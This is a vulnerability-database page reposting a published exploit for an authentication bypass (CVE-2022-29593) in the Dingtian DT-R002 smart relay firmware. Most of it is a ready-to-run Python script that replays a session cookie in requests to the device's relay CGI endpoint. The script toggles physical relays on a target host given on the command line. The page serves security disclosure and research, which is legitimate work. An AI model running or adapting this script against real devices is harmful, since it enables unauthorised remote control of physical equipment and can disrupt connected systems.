Lucene search
K

Dingtian-DT-R002 3.1.276A Authentication Bypass

🗓️ 29 Jul 2022 00:00:00Reported by Victor HannaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 328 Views

Dingtian-DT-R002 3.1.276A Authentication Bypass exploit affecting MAC OS

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Dingtian-DT-R002 3.1.276A - Authentication Bypass Exploit
31 Jul 202200:00
zdt
GithubExploit
Exploit for Authentication Bypass by Capture-replay in Dingtian-Tech Dt-R004_Firmware
4 Mar 202212:03
githubexploit
Circl
CVE-2022-29593
14 Jul 202218:32
circl
CNNVD
Dingtian DT-R002 2CH 安全漏洞
14 Jul 202200:00
cnnvd
CVE
CVE-2022-29593
14 Jul 202214:56
cve
Cvelist
CVE-2022-29593
14 Jul 202214:56
cvelist
Exploit DB
Dingtian-DT-R002 3.1.276A - Authentication Bypass
29 Jul 202200:00
exploitdb
EUVD
EUVD-2022-33925
3 Oct 202520:07
euvd
ICS
Dingtian DT-R002
26 Oct 202306:00
ics
NVD
CVE-2022-29593
14 Jul 202215:15
nvd
Rows per page
`# Exploit Title: Dingtian-DT-R002 3.1.276A - Authentication Bypass  
# Google Dork: NA  
# Date: 13th July 2022  
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)  
# Author Github Page: https://9lyph.github.io/CVE-2022-29593/  
# Vendor Homepage: https://www.dingtian-tech.com/en_us/relay4.html  
# Software Link: https://www.dingtian-tech.com/en_us/support.html?tab=download  
# Version: V3.1.276A  
# Tested on: MAC OSX  
# CVE : CVE-2022-29593#!/usr/local/bin/python3  
# Author: Victor Hanna (SpiderLabs)  
# DingTian DT-R002 2CH Smart Relay  
# CWE-294 - Authentication Bypass by Capture-replay  
  
import requests  
import re  
import urllib.parse  
from colorama import init  
from colorama import Fore, Back, Style  
import sys  
import os  
import time  
  
from urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
  
def banner():  
print ("[+]********************************************************************************[+]")  
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")  
print ("| Description: DingTian DT-R002 2CH Smart Relay |")  
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")   
print ("[+]********************************************************************************[+]")  
  
def main():  
os.system('clear')  
banner()  
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"  
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"  
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"  
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"  
  
headers = {  
"Host": ""+host+"",  
"User-Agent": "9lyph/3.0",  
"Accept": "*/*",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"DNT": "1",  
"Connection": "close",  
"Referer": "http://"+host+"/relay_cgi.html",  
"Cookie": "session=4463009"  
}  
  
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")  
for i in range(5):  
time.sleep (1)  
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")  
try:  
if (relay == "1"):  
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)  
r = requests.get(urlRelay1On)  
time.sleep (5)  
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)  
r = requests.get(urlRelay1Off)  
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")  
elif (relay == "2"):  
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)  
r = requests.get(urlRelay2On)  
time.sleep (5)  
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)  
r = requests.get(urlRelay2Off)  
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")  
else:  
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)  
except KeyboardInterrupt:  
sys.exit(1)  
except requests.exceptions.Timeout:  
print ("[!] Connection to host timed out !")  
sys.exit(1)  
except requests.exceptions.Timeout:  
print ("[!] Connection to host timed out !")  
sys.exit(1)  
except Exception as e:  
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)  
  
if __name__ == "__main__":  
if len(sys.argv)>2:   
host = sys.argv[1]  
relay = sys.argv[2]  
main ()  
else:  
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2022 00:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 3.15.9
EPSS0.08172
SSVC
328